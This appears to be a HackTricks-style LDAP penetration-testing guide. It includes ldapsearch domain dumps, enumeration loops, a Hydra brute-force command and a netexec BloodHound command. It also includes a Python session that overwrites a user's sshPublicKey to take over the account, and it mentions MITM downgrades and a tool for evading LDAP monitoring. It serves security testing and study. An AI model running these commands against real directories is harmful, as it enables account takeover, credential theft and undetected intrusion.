The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
LDAP directories are structured to allow their distribution across several servers, with each server housing a replicated and synchronized version of the directory, referred to as a Directory System Agent (DSA). Responsibility for handling requests lies entirely with the LDAP server, which may communicate with other DSAs as needed to deliver a unified response to the requester.
The LDAP directory's organization resembles a tree hierarchy, starting with the root directory at the top. This branches down to countries, which further divide into organizations, and then to organizational units representing various divisions or departments, finally reaching the individual entities level, including both people and shared resources like files and printers.
Default port: 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).
Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you can change the "sshPublicKey" information of your user or any user. It's highly probable that if this attribute exist, then ssh is reading the public keys from LDAP. If you can modify the public key of a user you will be able to login as that user even if password authentication is not enabled in ssh.
bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
If LDAP is used without SSL you can sniff credentials in plain text in the network.
Also, you can perform a MITM attack in the network between the LDAP server and the client. Here you can make a Downgrade Attack so the client with use the credentials in clear text to login.
If SSL is used you can try to make MITM like the mentioned above but offering a false certificate, if the user accepts it, you are able to Downgrade the authentication method and see the credentials again.
According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
LDAP anonymous binds allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a legacy configuration, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.
However, admins may have needed to set up a particular application to allow anonymous binds and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
If you find something saying that the "bind must be completed" means that the credentials are incorrect.
You can extract everything from a domain using:
bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Godap is an interactive terminal user interface for LDAP that can be used to interact with objects and attributes in AD and other LDAP servers. It is available for Windows, Linux and MacOS and supports simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, along with several other specialized features such as searching/creating/changing/deleting objects, adding/removing users from groups, changing passwords, editing object permissions (DACLs), modifying Active-Directory Integrated DNS (ADIDNS), exporting to JSON files, etc.
Ldapx is a flexible LDAP proxy that can be used to inspect & transform LDAP traffic from other tools. It can be used to obfuscate LDAP traffic to attempt to bypass identity protection & LDAP monitoring tools and implements most of the methods presented in the MaLDAPtive talk.
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
